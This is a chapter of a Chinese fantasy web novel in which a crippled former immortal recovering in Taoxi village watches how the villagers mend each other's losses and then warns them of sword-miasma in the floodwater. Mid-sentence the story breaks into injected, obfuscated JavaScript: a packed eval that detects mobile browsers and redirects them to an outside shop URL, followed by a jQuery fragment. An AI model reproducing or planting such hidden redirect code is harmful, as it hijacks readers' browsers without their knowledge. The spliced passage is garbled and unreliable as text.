江照夜开始喝药后，时间有了形状。
卯时是一碗苦得舌根发麻的黑药；辰时屋顶积雪开始滴水；午时太阳越过东山，短暂照亮窗前半尺；申时阿满放鸡回来，身后总跟着一群吵闹孩子；戌时哑婆封好药炉，陈九在外间墙上添当天的账。
日子不再由剑钟与修炼时辰分割，而由一件件极小的事情向前挪动。
第十日，江照夜能自己吞咽。
第十二日，她可以弯曲五根手指。
第十五日，哑婆在她背后塞了三层棉垫，陈九托住她肩膀，两人合力让她靠着墙坐了一刻钟。
那一刻钟比她第一次御剑更漫长。
身体所有重量都压在缺骨的脊背上，眼前不断发黑，耳中像有江水轰鸣。江照夜几次想命令自己挺直，却发现越用力，身体越僵，呼吸也越浅。她只能放弃从前站如青松的习惯，允许腰背弯下，像村口被积雪压低的老桃树。
“坐不好看。”江照夜低声说道。
“坐着便行。”陈九回答，“谁收你观赏钱了？”
哑婆在旁点头，又往她腰后多塞了一只旧枕。
透过敞开的房门，江照夜第一次完整看见桃溪村。
村子沿溪而建，只有四十余户。屋舍低矮杂乱，黑瓦与茅顶交错，春前积雪从屋檐滴落，在泥路上砸出一排小坑。溪流上架着三座木桥，最远那座歪得厉害，过桥的人都习惯靠左走。村后桃林尚未发芽，枝头红布在风里褪成浅白。
没有仙人。
这里距照雪宗不过二百里，晴日甚至能看见北方云上雪峰，可村中没有灵田，没有护山阵，也没有能治病的丹药。唯一修过道的陈九只能点亮半张火符，更多时候仍用火石生火。
村民却并不因此终日等待拯救。
木桥坏了，赵大石带人换桩；有人发热，哑婆背药篓上门；溪水结冰，孩子排成长队从井里提水。阿满家的屋顶被雪压塌一角，左邻出木，右邻出草，两顿饭工夫便重新盖好。每个人都不强，却能用自己那一点力，把旁人的缺口暂时补上。
江照夜过去理解的保护，是强者站在最前面，替身后所有人挡住危险。
桃溪村的保护却像一张打满补丁的网。没有哪根线足够坚韧，但断了一处，总会有别的手伸过来缝。
午后，来探病的人渐渐多了。
赵大石抱来一摞劈好的柴，进门先看墙上账目：“我那两片参为何只记八两？山下药铺至少卖十两。”
陈九反驳道：“你的参放了十一年，虫蛀一角，八两都算人情价。”
“那是参须，不是虫蛀。”赵大石争辩道。
两人围着账吵了半晌，最后哑婆拿竹杖把他们一起赶开。
屠户妻子送来晒干猪肝，坐在炕边问江照夜：“江姑娘，你真是从天上掉下来的？”
“从山崖。”江照夜回答。
“那也够高。”屠户妻子说道，“你会不会点石成金？”
“不会。”江照夜回答。
“会治母猪难产吗？”屠户妻子继续问道。
“不会。”江照夜说道。
“会看明日下不下雨吗？”屠户妻子又问道。
江照夜望了一眼窗外云色：“或许会。”
屠户妻子立刻高兴起来：“那也有用。开春晒肉前，我先来问你。”
她没有追问江照夜来自哪座仙门，也没有因她不会法术而失望太久。对桃溪村而言，能看云便算一种本事，能择菜也算，什么都不会但少吃半碗饭，也能暂时算省粮。
傍晚，几个孩子围到炕前。
最小的石头看着江照夜眉间尚未褪尽的魔纹，忍不住问道：“江姐姐，你是妖怪吗？”
阿满立刻推了他一下：“妖怪才不会欠鸡。”
“妖怪也可能欠。”石头坚持道，“我娘说狐妖欠书生一颗心。”
“她不是妖怪。”陈九从外间说道，“妖怪伤好得快，她比人还慢。”
孩子们觉得有理，纷纷点头。
“那你是仙人吗？”石头又向江照夜问道。
江照夜停了一会儿：“曾经算是。”
“仙人会飞。”石头说道，“你飞一个看看。”
屋内忽然安静。
阿满知道江照夜不能下床，正想把石头拉走。江照夜却没有生气，只看向门外那片狭窄天空。
她曾经御剑穿过最高的云。北境大雪封城时，她能一夜飞越三千里；宗门小弟子第一次学剑，她也曾让他们站在剑上，带他们去摸云边月亮。
如今从土炕到门槛不过十步，比三千里更远。
“我现在不会飞。”江照夜回答。
石头有些失望：“以后呢？”
江照夜本想说没有以后。
可她看见墙上欠债纸，看见阿满抱着剩下的五只鸡，看见哑婆正把明日药材一味味分好。那些人都理所当然地把她放进了以后：明日要喝药，春天要还鸡，等能下床便帮忙看火。
“不知道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929905|213611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”江照夜最终说道。
这是她第一次没有替未来判死刑。
孩子们很快被外面的陀螺吸引，呼啦啦跑出去。屋里留下满地泥脚印。江照夜靠墙坐得太久，后背已经疼到失去知觉。陈九与哑婆正要扶她躺下，村外忽然传来急促锣声。
一下，两下，三下。
不是失火，也不是妖兽，是春水破冰的警讯。
赵大石扔下柴便往外跑。陈九走到门口，看见溪水上游涌来一股浑浊黑流，刚修好的木桥正在水中摇晃。
黑流所过之处，岸边残雪迅速融化，露出的不是春泥，而是一层泛着铁青的硬壳。几尾越冬小鱼翻着白肚浮上水面，鳞片上爬满细小银纹。风把水腥送进村里，牲畜先于人察觉不安，牛栏里传来沉闷撞击声，群鸡扑扇着挤向屋檐。
“北坡融水提前了。”陈九说道。
江照夜皱眉：“不是融水。”
她闻到风里有一丝熟悉的焦苦味。
那是灵气烧穿土壤后才会留下的味道。
“水里有剑煞。”江照夜说道，“让所有人离开溪边，不要用手碰。”
陈九看向她：“你确定？”
江照夜闭眼分辨片刻。她已经没有神识，只凭多年行走九州留下的经验，从水声、气味和沿岸草叶迅速枯黄的颜色里作出判断。
“确定。”她回答，“上游有修士斗过法。剑煞混进融水，正在往村里来。”
陈九没有追问她凭什么知道。
他抄起铜锣冲进村道，一边敲一边高喊：“所有人离水！牲畜也牵走！别碰黑水！”
锣声穿过低矮屋舍。村民丢下锅铲、木槌和刚洗一半的衣裳，迅速向高处撤离。没有人等待仙人从天而降，也没有人因为江照夜曾经是仙人便跪下来听命。
他们只是听见危险，作出自己的判断，然后开始救自己。
赵大石与磨坊伙计抬走井边木桶，屠户一家解开牲口绳，年纪最大的李婶则拄着拐杖挨户拍门。孩子没有被简单赶走，阿满领着他们去数各家是否少人。混乱之中，每个人都知道自己能做哪一点，也知道何时该听更熟悉河道的人。锣声、犬吠与呼喊交织在灰白天色下，杂乱，却没有崩散。
江照夜坐在土屋里，第一次在失去修为后仍然帮助了别人。
她没有出剑。
她只闻见了水里的焦味，说了一句话。
而那句话是否有用，最终取决于许多人愿不愿意相信、奔波与互相提醒。